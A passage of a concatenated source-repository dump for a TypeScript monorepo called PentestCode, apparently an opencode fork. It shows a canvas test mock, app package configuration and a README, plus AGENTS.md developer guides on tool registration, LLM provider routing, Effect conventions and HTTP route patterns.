navigation - No duplicate firing is introduc
- packages/app/happydom.ts (2246 bytes)
import { GlobalRegistrator } from "@happy-dom/global-registrator" GlobalRegistrator.register() const originalGetContext = HTMLCanvasElement.prototype.getContext // @ts-expect-error - we're overriding with a simplified mock HTMLCanvasElement.prototype.getContext = function (contextType: string, _options?: unknown) { if (contextType === "2d") { return { canvas: this, fillStyle: "#000000", strokeStyle: "#000000", font: "12px monospace", textAlign: "start", textBaseline: "alphabetic", globalAlpha: 1, globalCompositeOperation: "source-over", imageSmoothingEnabled: true, lineWidth: 1, lineCap: "butt", lineJoin: "miter", miterLimit: 10, shadowBlur: 0, shadowColor: "rgba(0, 0, 0, 0)", shadowOffsetX: 0, shadowOffsetY: 0, fillRect: () => {}, strokeRect: () => {}, clearRect: () => {}, fillText: () => {}, strokeText: () => {}, measureText: (text: string) => ({ width: text.length * 8 }), drawImage: () => {}, save: () => {}, restore: () => {}, scale: () => {}, rotate: () => {}, translate: () => {}, transform: () => {}, setTransform: () => {}, resetTransform: () => {}, createLinearGradient: () => ({ addColorStop: () => {} }), createRadialGradient: () => ({ addColorStop: () => {} }), createPattern: () => null, beginPath: () => {}, closePath: () => {}, moveTo: () => {}, lineTo: () => {}, bezierCurveTo: () => {}, quadraticCurveTo: () => {}, arc: () => {}, arcTo: () => {}, ellipse: () => {}, rect: () => {}, fill: () => {}, stroke: () => {}, clip: () => {}, isPointInPath: () => false, isPointInStroke: () => false, getTransform: () => ({}), getImageData: () => ({ data: new Uint8ClampedArray(0), width: 0, height: 0, }), putImageData: () => {}, createImageData: () => ({ data: new Uint8ClampedArray(0), width: 0, height: 0, }), } as unknown as CanvasRenderingContext2D } return originalGetContext.call(this, contextType as "2d", _options) } - packages/app/index.html (1462 bytes)
<!doctype html> <html lang="en" style="background-color: var(--v2-background-bg-deep, #fafafa)"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, interactive-widget=resizes-content, viewport-fit=cover" /> <title>PentestCode</title> <link rel="icon" type="image/png" href="/favicon-96x96-v3.png" sizes="96x96" /> <link rel="icon" type="image/svg+xml" href="/favicon-v3.svg" /> <link rel="shortcut icon" href="/favicon-v3.ico" /> <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon-v3.png" /> <link rel="manifest" href="/site.webmanifest" /> <meta name="theme-color" content="#fafafa" /> <meta name="mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" /> <meta property="og:image" content="/social-share.png" /> <meta property="twitter:image" content="/social-share.png" /> <script id="oc-theme-preload-script" src="/oc-theme-preload.js"></script> </head> <body class="antialiased overscroll-none text-12-regular overflow-hidden bg-v2-background-bg-deep"> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="root" class="flex flex-col h-dvh bg-v2-background-bg-deep p-px"></div> <script src="/src/entry.tsx" type="module"></script> </body> </html> - packages/app/package.json (3444 bytes)
{ "name": "@pentestcode/app", "version": "0.1.0", "description": "", "type": "module", "exports": { ".": "./src/index.ts", "./desktop-menu": "./src/desktop-menu.ts", "./updater": "./src/updater.ts", "./wsl/types": "./src/wsl/types.ts", "./vite": "./vite.js", "./index.css": "./src/index.css" }, "scripts": { "typecheck": "tsgo -b", "typecheck:e2e": "tsgo -p e2e/tsconfig.json", "start": "vite", "dev": "vite", "build": "vite build", "serve": "vite preview", "test": "bun run test:unit && bun run test:browser", "test:unit": "bun test --only-failures --preload ./happydom.ts ./src", "test:browser": "bun test --conditions=browser --preload ./happydom.ts ./test-browser", "test:unit:watch": "bun test --watch --preload ./happydom.ts ./src", "test:e2e": "playwright test", "test:e2e:local": "playwright test", "test:e2e:ui": "playwright test --ui", "test:e2e:report": "playwright show-report e2e/playwright-report", "test:stability": "bun test ./e2e/performance/unit/visual-stability.test.ts && playwright test --config e2e/performance/timeline-stability/playwright.config.ts", "test:bench": "bun test ./e2e/performance/unit && playwright test --config e2e/performance/playwright.config.ts" }, "license": "MIT", "devDependencies": { "@happy-dom/global-registrator": "20.0.11", "@playwright/test": "catalog:", "@sentry/vite-plugin": "catalog:", "@tailwindcss/vite": "catalog:", "@tsconfig/bun": "1.0.9", "@types/bun": "catalog:", "@types/luxon": "catalog:", "@types/node": "catalog:", "@typescript/native-preview": "catalog:", "tw-animate-css": "1.4.0", "typescript": "catalog:", "vite": "catalog:", "vite-plugin-icons-spritesheet": "3.0.1", "vite-plugin-solid": "catalog:" }, "dependencies": { "@dnd-kit/abstract": "0.5.0", "@dnd-kit/dom": "0.5.0", "@dnd-kit/helpers": "0.5.0", "@dnd-kit/solid": "0.5.0", "@kobalte/core": "catalog:", "@pentestcode/core": "workspace:*", "@pentestcode/schema": "workspace:*", "@pentestcode/sdk": "workspace:*", "@pentestcode/session-ui": "workspace:*", "@pentestcode/ui": "workspace:*", "@pierre/trees": "1.0.0-beta.4", "@sentry/solid": "catalog:", "@shikijs/transformers": "3.9.2", "@solid-primitives/active-element": "2.1.3", "@solid-primitives/audio": "1.4.2", "@solid-primitives/event-bus": "1.1.2", "@solid-primitives/event-listener": "2.4.5", "@solid-primitives/i18n": "2.2.1", "@solid-primitives/media": "2.3.3", "@solid-primitives/resize-observer": "2.1.5", "@solid-primitives/scheduled": "1.5.3", "@solid-primitives/scroll": "2.1.3", "@solid-primitives/storage": "catalog:", "@solid-primitives/timer": "1.4.4", "@solid-primitives/websocket": "1.3.1", "@solidjs/meta": "catalog:", "@solidjs/router": "catalog:", "@tanstack/solid-query": "5.91.4", "@tanstack/solid-virtual": "catalog:", "@thisbeyond/solid-dnd": "0.7.5", "diff": "catalog:", "effect": "catalog:", "fuzzysort": "catalog:", "ghostty-web": "github:anomalyco/ghostty-web#513463a6f1190253057e8a3f0dac8f6ee8393553", "luxon": "catalog:", "marked": "catalog:", "marked-shiki": "catalog:", "remeda": "catalog:", "shiki": "catalog:", "solid-js": "catalog:", "solid-list": "catalog:", "tailwindcss": "catalog:" } } - packages/app/README.md (1636 bytes)
## Usage Dependencies for these templates are managed with [pnpm](https://pnpm.io) using `pnpm up -Lri`. This is the reason you see a `pnpm-lock.yaml`. That said, any package manager will work. This file can safely be removed once you clone a template. ```bash $ npm install # or pnpm install or yarn install ``` ### Learn more on the [Solid Website](https://solidjs.com) and come chat with us on our [Discord](https://discord.com/invite/solidjs) ## Available Scripts In the project directory, you can run: ### `npm run dev` or `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> ### `npm run build` Builds the app for production to the `dist` folder.<br> It correctly bundles Solid in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ## E2E Testing Playwright starts the Vite dev server automatically via `webServer`, and UI tests expect an opencode backend at `localhost:4096` by default. ```bash bunx playwright install chromium bun run test:e2e:local bun run test:e2e:local -- --grep "settings" ``` Environment options: - `PLAYWRIGHT_SERVER_HOST` / `PLAYWRIGHT_SERVER_PORT` (backend address, default: `localhost:4096`) - `PLAYWRIGHT_PORT` (Vite dev server port, default: `3000`) - `PLAYWRIGHT_BASE_URL` (override base URL, default: `http://localhost:<PLAYWRIGHT_PORT>`) ## Deployment You can deploy the `dist` folder to any static host provider (netlify, surge, now, etc.)
- packages/core/src/tool/AGENTS.md (3746 bytes)
# Core Tool Architecture This folder owns Core's one local tool representation, process and Location registration, effective lookup, and settlement. ## Representations - `tool.ts` defines the opaque canonical `Tool.make({ description, input, output, execute, toModelOutput })` value. Application tools and shipped built-ins use the same type. - `application-tools.ts` stores process-scoped application registrations. - `tools.ts` exposes the registration-only `Tools.Service` view used by Location producers. - `registry.ts` stores only canonical tools, overlays Location registrations over application registrations, derives definitions, invokes tools, and applies generic output bounding. Do not add a second executable entry type, registry-owned executor, authorization callback, output-path callback, or legacy normalization path. ## Construction Tool schemas and projection use `input` and `output` terminology. A tool value is opaque: its codecs, executor, definition derivation, and catalog permission declaration are private runtime details. Location-scoped built-in layers acquire `PermissionV2.Service` and every other required Location service while the layer is constructed. The executor captures those services. Permission sources are always constructed from the canonical invocation context: ```ts const source = { type: "tool" as const, messageID: context.assistantMessageID, callID: context.toolCallID, } ``` Leaves own resolution, permission, and side-effect ordering. Translate only expected typed errors into `ToolFailure`; do not use `catchCause`, because interruption and defects must survive. ## Registration Built-ins register through `Tools.Service.register({ [name]: tool })`. Application tools register through `ApplicationTools.Service.register(...)`, exposed publicly as `pentestcode.tools.register(...)`. Both are scoped: - The latest active same-placement registration wins. - Closing any registration removes only that registration and reveals the next active one. - Location registrations take precedence over application registrations. - An invocation captures the effective tool once settlement starts. `ApplicationTools.Service` is process-scoped and shared by all Locations. `ToolRegistry.Service` is Location-scoped. Do not make the registry process-global or construct a separate application-tool service for each Location. ## Permissions The registry has no `PermissionV2.Service` dependency and performs no execution authorization. An internal built-in-only operation attaches a permission action solely to preserve whole-tool definition filtering; it is not part of public `Tool.make`. Most tools default to their registered name; `edit`, `write`, and `apply_patch` declare the shared `edit` action. Definition filtering is catalog visibility, not execution authorization. A call still executes the captured leaf policy if it reaches settlement. ## Output Built-ins return complete validated domain output. `ToolRegistry.Materialization.settle` is the only execution and generic model-output bounding boundary and owns managed retention paths. Producer capture limits are separate. For example, Bash keeps `AppProcess.maxOutputBytes` and accurately reports stdout/stderr capture loss, but it does not run model-output truncation or return a managed `outputPath`. ## Current Gaps - Plugin boot has not been redesigned to register canonical tools through `Tools.Service`; do not redesign it as part of leaf migrations. - MCP and future Session-scoped registrations still need an explicit canonical registration design. - The public Session result shape currently exposes managed `outputPaths`; full storage encapsulation requires a future opaque managed-output reference design. - packages/effect-drizzle-sqlite/AGENTS.md (1364 bytes)
# Effect Drizzle SQLite This package vendors a Drizzle Effect SQLite adapter for this repo. - Keep this package generic: Drizzle + Effect + SQLite only. - Do not add opencode-specific tables, paths, migrations, post-commit hooks, or domain storage APIs here. - Runtime code should depend on generic `effect/unstable/sql/SqlClient`, not a specific SQLite driver. - Concrete SQLite clients such as `@effect/sql-sqlite-bun` belong in tests or examples unless this package intentionally adds a driver-specific helper. - Preserve Drizzle adapter naming and behavior where possible so this can be replaced by upstream `drizzle-orm/effect-sqlite` later. - If touching copied Drizzle internals, compare with current `[email protected]` declarations and runtime JS. - If touching Effect APIs, verify against `/Users/kit/code/open-source/effect-smol`. Useful entry points: - `src/effect-sqlite/driver.ts`: creates the Effect-backed Drizzle database with `make` and `makeWithDefaults`. - `src/effect-sqlite/session.ts`: adapts generic Effect `SqlClient` execution and transactions to Drizzle SQLite sessions. - `src/sqlite-core/effect/*`: Effect-yieldable SQLite query builders. - `src/internal/drizzle-utils.ts`: local typed shims for Drizzle runtime internals that RC2 does not expose in declarations. - `examples/basic.ts`: minimal usage example with Bun SQLite.
- packages/llm/AGENTS.md (24684 bytes)
# LLM Package Guide ## Effect - Prefer `HttpClient.HttpClient` / `HttpClientResponse.HttpClientResponse` over web `fetch` / `Response` at package boundaries. - Use `Stream.Stream` for streaming data flow. Avoid ad hoc async generators or manual web reader loops unless an Effect `Stream` API cannot model the behavior. - Use Effect Schema codecs for JSON encode/decode (`Schema.fromJsonString(...)`) instead of direct `JSON.parse` / `JSON.stringify` in implementation code. - In `Effect.gen`, yield yieldable errors directly (`return yield* new MyError(...)`) instead of `Effect.fail(new MyError(...))`. - Use `Effect.void` instead of `Effect.succeed(undefined)` when the successful value is intentionally void. ## Conventions Per-type constructors live on the type, not as top-level re-exports. Use `Message.system(...)`, `Message.user(...)`, `Message.assistant(...)`, `Message.tool(...)`, `Model.make(...)`, `ToolDefinition.make(...)`, `ToolCallPart.make(...)`, `ToolResultPart.make(...)`, `ToolChoice.make(...)`, `ToolChoice.named(...)`, `SystemPart.make(...)`, and `GenerationOptions.make(...)` directly. The top-level `LLM` namespace is reserved for request-shaped call APIs: `LLM.request`, `LLM.generate`, `LLM.stream`, `LLM.updateRequest`, and `LLM.generateObject`. Two ways to construct the same thing is one too many. ## Tests - Use `testEffect(...)` from `test/lib/effect.ts` for tests requiring Effect layers. - Keep provider tests fixture-first. Live provider calls must stay behind `RECORD=true` and required API-key checks. ## Architecture This package is an Effect Schema-first LLM core. The Schema classes in `src/schema/` are the canonical runtime data model. Convenience functions in `src/llm.ts` are thin constructors that return those same Schema class instances; they should improve callsites without creating a second model. Primary in-repo integration point: - `packages/opencode/src/session/llm.ts` is the session-owned orchestration layer that decides whether a request uses AI SDK or this package's native route runtime. - `packages/opencode/src/session/llm/native-request.ts` is the lowering adapter from opencode's session/AI SDK-shaped data into this package's `LLMRequest` model. - `packages/opencode/src/session/llm/native-runtime.ts` is the execution adapter that calls raw `LLMClient.stream(request)` and bridges one provider turn of opencode tool calls through this package's typed dispatcher. - `packages/opencode/src/session/llm/ai-sdk.ts` keeps the default AI SDK path compatible by converting AI SDK stream parts into this package's shared `LLMEvent`s. Keep this package independent of session concerns. Session auth, permissions, plugins, telemetry headers, and runtime selection belong in `packages/opencode/src/session/llm.ts` and its local adapters. ### Request Flow The intended callsite is: ```ts const request = LLM.request({ model: OpenAI.configure({ apiKey }).responses("gpt-4o-mini"), system: "You are concise.", prompt: "Say hello.", }) const response = yield * LLMClient.generate(request) ``` `LLM.request(...)` builds an `LLMRequest`. `LLMClient.generate(...)` reads the executable route carried by `request.model.route`, builds the provider-native body, asks the route's transport for a real `HttpClientRequest.HttpClientRequest`, sends it through `RequestExecutor.Service`, parses the provider stream into common `LLMEvent`s, and finally returns an `LLMResponse`. Use `LLMClient.stream(request)` when callers want incremental `LLMEvent`s. Use `LLMClient.generate(request)` when callers want those same events collected into an `LLMResponse`. Use `LLMClient.prepare<Body>(request)` to compile a request through the route pipeline without sending it — the optional `Body` type argument narrows `.body` to the route's native shape (e.g. `prepare<OpenAIChatBody>(...)` returns a `PreparedRequestOf<OpenAIChatBody>`). The runtime body is identical; the generic is a type-level assertion. Filter or narrow `LLMEvent` streams with `LLMEvent.is.*` (camelCase guards, e.g. `events.filter(LLMEvent.is.toolCall)`). The kebab-case `LLMEvent.guards["tool-call"]` form also works but prefer `is.*` in new code. ### Routes A route is the registered, runnable composition of four orthogonal pieces: - **`Protocol`** (`src/route/protocol.ts`) — semantic API contract. Owns request body construction (`body.from`), the body schema (`body.schema`), the streaming-event schema (`stream.event`), and the event-to-`LLMEvent` state machine (`stream.step`). `Route.make(...)` validates and JSON-encodes the body from `body.schema` and decodes frames with `stream.event`. Examples: `OpenAIChat.protocol`, `OpenAIResponses.protocol`, `AnthropicMessages.protocol`, `Gemini.protocol`, `BedrockConverse.protocol`. - **`Endpoint`** (`src/route/endpoint.ts`) — URL construction. The host, path, and route query live on the endpoint. `Endpoint.path("/chat/completions", { baseURL })` is the common case; pass a function for paths that embed the model id or a body field (e.g. `Endpoint.path(({ body }) => `/model/${body.modelId}/converse-stream`)`). - **`Auth`** (`src/route/auth.ts`) — per-request transport authentication. Provider facades configure credentials onto the route before model selection, usually via `Auth.bearer(apiKey)` or `Auth.header(name, apiKey)`. Routes that need per-request signing (Bedrock SigV4, future Vertex IAM, Azure AAD) implement `Auth` as a function that signs the body and merges signed headers into the result. - **`Framing`** (`src/route/framing.ts`) — bytes → frames. SSE (`Framing.sse`) is shared; Bedrock keeps its AWS event-stream framing as a typed `Framing<object>` value alongside its protocol. Compose them via `Route.make(...)`: ```ts export const route = Route.make({ id: "openai-chat", provider: "openai", protocol: OpenAIChat.protocol, endpoint: Endpoint.path("/chat/completions", { baseURL: "https://api.openai.com/v1", }), auth: Auth.bearer(), framing: Framing.sse, }) ``` Route defaults are request-shaping defaults such as `headers`, `limits`, `generation`, `providerOptions`, and `http`. Endpoint host/query belongs on the route endpoint. Selected `Model` values carry only model id, provider id, and the configured route value. Model capability/catalog metadata lives outside this package; protocol support is enforced by request lowering and typed `LLMError`s. The four-axis decomposition is the reason DeepSeek, TogetherAI, Cerebras, Baseten, Fireworks, and DeepInfra all reuse `OpenAIChat.protocol` verbatim — each provider deployment is a 5-15 line `Route.make(...)` call instead of a 300-400 line route clone. Bug fixes in one protocol propagate to every consumer of that protocol in a single commit. When a provider ships a non-HTTP transport (OpenAI's WebSocket Responses backend, hypothetical bidirectional streaming APIs), the seam is `Transport` — `WebSocketTransport.jsonTransport.with(...)` constructs an IO template whose `prepare` receives the route endpoint/auth at compile time, builds a WebSocket URL and message, and whose `frames` yields decoded text from the socket. Same protocol and endpoint source, different transport. ### URL Construction `Endpoint` owns `{ baseURL, path, query }`. Each protocol route includes a canonical endpoint when the provider has one (e.g. `https://api.openai.com/v1`); provider helpers override endpoint fields by configuring the route before selecting a model. Routes that have no canonical URL (OpenAI-compatible Chat, GitHub Copilot) require configuration before execution. For providers where the URL is derived from typed inputs (Azure resource name, Bedrock region), the provider helper configures the route endpoint before calling `.model(...)`. Use `AtLeastOne<T>` from `route/auth-options.ts` for inputs that accept either of two derivation paths (Azure: `resourceName` or `baseURL`). ### Provider Facades Provider-facing APIs are configured facades over route values. Endpoint/auth/resource/API-version setup happens before model selection, and model selectors accept only a model or deployment id: ```ts const openai = OpenAI.configure({ apiKey, baseURL }) const model = openai.responses("gpt-4o-mini") const azure = Azure.configure({ resourceName, apiKey, apiVersion: "v1" }) const deployment = azure.responses("my-deployment") const gateway = CloudflareAIGateway.configure({ accountId, gatewayId, gatewayApiKey, apiKey }) const proxied = gateway.model("openai/gpt-4o-mini") ``` Keep provider facades small and explicit: - Use branded `ProviderID.make(...)` and `ModelID.make(...)` where ids are constructed directly. - Use `model` for the default API path and named methods for provider-native alternatives such as OpenAI `responses`, `responsesWebSocket`, and `chat`. - Put provider-specific setup on `.configure(...)`; do not add `model(id, overrides)` as a duplicate construction path. - Export lower-level `routes` arrays separately only when advanced internal wiring needs them. - Prefer `apiKey` as provider-specific sugar and `auth` as the explicit override; keep them mutually exclusive in provider option types with `ProviderAuthOption`. - Resolve `apiKey` → `Auth` with `AuthOptions.bearer(options, "<PROVIDER>_API_KEY")` (it honors an explicit `auth` override and falls back to `Auth.config(envVar)` so missing keys surface a typed `Authentication` error rather than a runtime crash). - Use separate top-level facades for products with different required setup, such as `CloudflareAIGateway` and `CloudflareWorkersAI`. `Provider.make(...)` remains available for simple static provider definitions, but new built-in providers should prefer plain configured facades unless a helper removes real duplication without adding runtime behavior. ### Folder layout ``` packages/llm/src/ schema/ canonical Schema model, split by concern ids.ts branded IDs, literal types, ProviderMetadata options.ts Generation/Provider/Http options, Limits, Model, cache policy messages.ts content parts, Message, ToolDefinition, LLMRequest events.ts Usage, individual events, LLMEvent, PreparedRequest, LLMResponse errors.ts error reasons, LLMError, ToolFailure index.ts barrel llm.ts request constructors and convenience helpers route/ index.ts @opencode-ai/llm/route advanced barrel client.ts Route.make + LLMClient.prepare/stream/generate executor.ts RequestExecutor service + transport error mapping protocol.ts Protocol type + Protocol.make endpoint.ts Endpoint type + Endpoint.path auth.ts Auth type + Auth.bearer / Auth.apiKeyHeader / Auth.passthrough auth-options.ts ProviderAuthOption shape, AuthOptions.bearer, AtLeastOne helper framing.ts Framing type + Framing.sse transport/ transport implementations index.ts Transport type + HttpTransport / WebSocketTransport namespaces http.ts HttpTransport.httpJson — POST + framing websocket.ts WebSocketTransport.json + WebSocketExecutor service protocols/ shared.ts ProviderShared toolkit used inside protocol impls openai-chat.ts protocol + route (compose OpenAIChat.protocol) openai-responses.ts anthropic-messages.ts gemini.ts bedrock-converse.ts bedrock-event-stream.ts framing for AWS event-stream binary frames openai-compatible-chat.ts route that reuses OpenAIChat.protocol, no canonical URL utils/ per-protocol helpers (auth, cache, media, tool-stream, ...) providers/ openai-compatible.ts generic compatible helper + family model helpers openai-compatible-profile.ts family defaults (deepseek, togetherai, ...) azure.ts / amazon-bedrock.ts / cloudflare.ts / github-copilot.ts / google.ts / xai.ts / openai.ts / anthropic.ts / openrouter.ts tool.ts typed tool() helper tool-runtime.ts narrow one-call typed tool dispatcher ``` The dependency arrow points down: `providers/*.ts` files import protocol routes and auth-option utilities; protocol modules import `endpoint`, `auth`, `framing`, and transport pieces. Protocols do not import provider facades. Lower-level modules know nothing about provider catalog metadata. ### Shared protocol helpers `ProviderShared` exports a small toolkit used inside protocol implementations to keep them focused on provider-native shapes: - `joinText(parts)` — joins an array of `TextPart` (or anything with a `.text`) with newlines. Use this anywhere a protocol flattens text content into a single string for a provider field. - `parseToolInput(route, name, raw)` — Schema-decodes a tool-call argument string with the canonical "Invalid JSON input for `<route>` tool call `<name>`" error message. Treats empty input as `{}`. - `parseJson(route, raw, message)` — generic JSON-via-Schema decode for non-tool bodies. - `eventError(route, message, ...)` — typed `InvalidProviderOutput` constructor for stream-time decode failures. - `validateWith(decoder)` — maps Schema decode errors to `InvalidRequest`. `Route.make(...)` uses this for body validation; lower-level routes can reuse it. - `matchToolChoice(provider, choice, branches)` — branches over `LLMRequest["toolChoice"]` for provider-specific lowering. If you find yourself copying a 3-to-5-line snippet between two protocols, lift it into `ProviderShared` next to these helpers rather than duplicating. ### Chronological System Updates `LLMRequest.system` is the initial privileged prompt that applies ahead of the conversation. `Message.system(...)` is a separate, provider-neutral chronological operator update inside `LLMRequest.messages`; it applies only from its position in history onward and accepts text content only. Native chronological system messages are route/model-specific. Anthropic Messages lowers them natively for Claude Opus 4.8 (`claude-opus-4-8`). Other routes and models intentionally lower the update in place into ordinary user-compatible text using this stable escaped representation: ```text <system-update> ... </system-update> ``` The wrapped-user fallback preserves ordering while visibly lowering authority. Never silently pass a raw chronological `role: "system"` through a route that might reject it. Do not insert raw retrieved documents, tool output, or web content into privileged chronological system updates; keep untrusted content in ordinary user/tool channels. ### Tools Tool loops are represented in common messages and events: ```ts const call = ToolCallPart.make({ id: "call_1", name: "lookup", input: { query: "weather" } }) const result = Message.tool({ id: "call_1", name: "lookup", result: { forecast: "sunny" } }) const followUp = LLM.request({ model, messages: [Message.user("Weather?"), Message.assistant([c - packages/opencode/AGENTS.md (6453 bytes)
# opencode database guide ## Database - **Schema**: Drizzle schema lives in `packages/core/src/**/*.sql.ts`. - **Migrations**: database migrations live in `packages/core` and are applied by core. ## Development server - Running `bun dev` from `packages/opencode` starts the live interactive TUI. Do not run it as a blocking foreground command when you need to inspect the result. - Start it in `tmux` instead: `tmux new-session -d -s opencode-dev 'bun dev'`. - Capture the current TUI output with: `tmux capture-pane -pt opencode-dev`. - Stop the session explicitly when done: `tmux kill-session -t opencode-dev`. # Module shape Do not use `export namespace Foo { ... }` for module organization. It is not standard ESM, it prevents tree-shaking, and it breaks Node's native TypeScript runner. Use flat top-level exports combined with a self-reexport at the bottom of the file: ```ts // src/foo/foo.ts export interface Interface { ... } export class Service extends Context.Service<Service, Interface>()("@opencode/Foo") {} export const layer = Layer.effect(Service, ...) export const defaultLayer = layer.pipe(...) export * as Foo from "./foo" ``` Consumers import the namespace projection: ```ts import { Foo } from "@/foo/foo" yield * Foo.Service Foo.layer Foo.defaultLayer ``` Namespace-private helpers stay as non-exported top-level declarations in the same file — they remain inaccessible to consumers (they are not projected by `export * as`) but are usable by the file's own code. ## When the file is an `index.ts` If the module is `foo/index.ts` (single-namespace directory), use `"."` for the self-reexport source rather than `"./index"`: ```ts // src/foo/index.ts export const thing = ... export * as Foo from "." ``` ## Multi-sibling directories For directories with several independent modules (e.g. `src/session/`, `src/config/`), keep each sibling as its own file with its own self-reexport, and do not add a barrel `index.ts`. Consumers import the specific sibling: ```ts import { SessionRetry } from "@/session/retry" import { SessionStatus } from "@/session/status" ``` Barrels in multi-sibling directories force every import through the barrel to evaluate every sibling, which defeats tree-shaking and slows module load. # opencode Effect rules Use these rules when writing or migrating Effect code. See `specs/effect/migration.md` for the compact pattern reference and examples. ## Core - Use `Effect.gen(function* () { ... })` for composition. - Use `Effect.fn("Domain.method")` for named/traced effects and `Effect.fnUntraced` for internal helpers. - `Effect.fn` / `Effect.fnUntraced` accept pipeable operators as extra arguments, so avoid unnecessary outer `.pipe()` wrappers. - Use `Effect.callback` for callback-based APIs. - Use `Effect.void` instead of `Effect.succeed(undefined)` or `Effect.succeed(void 0)`. - Prefer `DateTime.nowAsDate` over `new Date(yield* Clock.currentTimeMillis)` when you need a `Date`. ## Module conventions - In `src/config`, follow the existing self-export pattern at the top of the file (for example `export * as ConfigAgent from "./agent"`) when adding a new config module. ## Schemas and errors - Use `Schema.Class` for multi-field data. - Use branded schemas (`Schema.brand`) for single-value types. - Use `Schema.TaggedErrorClass` for typed errors. - Use `Schema.Defect` instead of `unknown` for defect-like causes. - In `Effect.gen` / `Effect.fn`, prefer `yield* new MyError(...)` over `yield* Effect.fail(new MyError(...))` for direct early-failure branches. ## Runtime vs InstanceState - Use `makeRuntime` (from `src/effect/run-service.ts`) for all services. It returns `{ runPromise, runFork, runCallback }` backed by a shared `memoMap` that deduplicates layers. - Use `InstanceState` (from `src/effect/instance-state.ts`) for per-directory or per-project state that needs per-instance cleanup. It uses `ScopedCache` keyed by directory — each open project gets its own state, automatically cleaned up on disposal. - If two open directories should not share one copy of the service, it needs `InstanceState`. - Do the work directly in the `InstanceState.make` closure — `ScopedCache` handles run-once semantics. Don't add fibers, `ensure()` callbacks, or `started` flags on top. - Use `Effect.addFinalizer` or `Effect.acquireRelease` inside the `InstanceState.make` closure for cleanup (subscriptions, process teardown, etc.). - Use `Effect.forkScoped` inside the closure for background stream consumers — the fiber is interrupted when the instance is disposed. - To make a service's `init()` non-blocking, fork `InstanceState.get(state)` at the `init()` call site (e.g. `Effect.forkIn(scope)`), not by forking work inside the `InstanceState.make` closure. Forking inside the closure leaves state incomplete for other methods that read it. - `src/project/bootstrap.ts` already wraps every service `init()` in `Effect.forkDetach`, so `init()` is fire-and-forget in production. Keep `init()` methods synchronous internally; the caller controls concurrency. ## Effect v4 beta API - `Effect.fork` and `Effect.forkDaemon` do not exist. Use `Effect.forkIn(scope)` to fork a fiber into a specific scope. ## Preferred Effect services - In effectified services, prefer yielding existing Effect services over dropping down to ad hoc platform APIs. - Prefer `FileSystem.FileSystem` instead of raw `fs/promises` for effectful file I/O. - Prefer `ChildProcessSpawner.ChildProcessSpawner` with `ChildProcess.make(...)` instead of custom process wrappers. - Prefer `HttpClient.HttpClient` instead of raw `fetch`. - Prefer `Path.Path`, `Config`, `Clock`, and `DateTime` when those concerns are already inside Effect code. - For background loops or scheduled tasks, use `Effect.repeat` or `Effect.schedule` with `Effect.forkScoped` in the layer definition. ## Effect.cached for deduplication Use `Effect.cached` when multiple concurrent callers should share a single in-flight computation rather than storing `Fiber | undefined` or `Promise | undefined` manually. See `specs/effect/migration.md` for the full pattern. ## Callback boundaries Use `EffectBridge` for native or external callbacks (`@parcel/watcher`, `node-pty`, native `fs.watch`, plugin callbacks, etc.) that need to re-enter Effect services with instance/workspace context. Plain async code should pass explicit context or stay inside an Effect fiber; do not add ambient instance context shims. - packages/opencode/src/server/routes/instance/httpapi/AGENTS.md (2716 bytes)
# HttpApi Route Patterns Use `HttpApiBuilder.group(...)` for normal HTTP endpoints, including streaming HTTP responses such as server-sent events. Handlers should yield stable services once while building the handler layer, then close over those services in endpoint implementations. ```ts export const sessionHandlers = HttpApiBuilder.group(InstanceHttpApi, "session", (handlers) => Effect.gen(function* () { const session = yield* Session.Service return handlers.handle("list", () => session.list()) }), ) ``` For SSE endpoints, stay in `HttpApiBuilder.group(...)` and return `HttpServerResponse.stream(...)` from the handler. Annotate the endpoint success schema with `HttpApiSchema.asText({ contentType: "text/event-stream" })` so OpenAPI documents the stream content type. Use `HttpApiBuilder.group(...)` with `handleRaw(...)` for declared endpoints that need the raw request or response, including WebSocket upgrade routes. This keeps endpoint middleware, routing context, and OpenAPI metadata on one typed route tree. ```ts export const ptyConnectHandlers = HttpApiBuilder.group(PtyConnectApi, "pty-connect", (handlers) => Effect.gen(function* () { const pty = yield* Pty.Service return handlers.handleRaw("connect", (ctx) => connectPty(ctx.request, pty)) }), ) ``` Use raw `HttpRouter.use(...)` only for routes outside the declared API surface, such as a catch-all UI fallback. Avoid `Effect.provide(SomeLayer)` inside request handlers or raw route callbacks. Stable layers should be provided once at the application/layer boundary, not rebuilt or scoped per request. Avoid `HttpRouter.provideRequest(...)` unless the dependency is intentionally request-level. Prefer `HttpRouter.use(...)` for stable app services. Use `Effect.provideService(...)` in middleware only for request-derived context, such as `WorkspaceRouteContext`, `InstanceRef`, or `WorkspaceRef`. Do not use it to smuggle stable services through request effects when they can be yielded at layer construction. Public JSON errors should be explicit `Schema.ErrorClass` contracts declared on each endpoint. Use built-in `HttpApiError.*` classes only when their empty/tagged body is the intended wire shape; for SDK-visible errors with messages, define an API error schema such as `ApiNotFoundError` and fail with that exact declared error. Keep domain and storage services free of HttpApi types, and translate expected domain errors at the handler boundary. When adding middleware, declare endpoint-contract middleware on the owning `HttpApiGroup` and provide its implementation layer at the assembly boundary in `server.ts`. Keep router middleware for truly raw fallback routes or global transport policy. - packages/opencode/src/session/llm/AGENTS.md (7072 bytes)
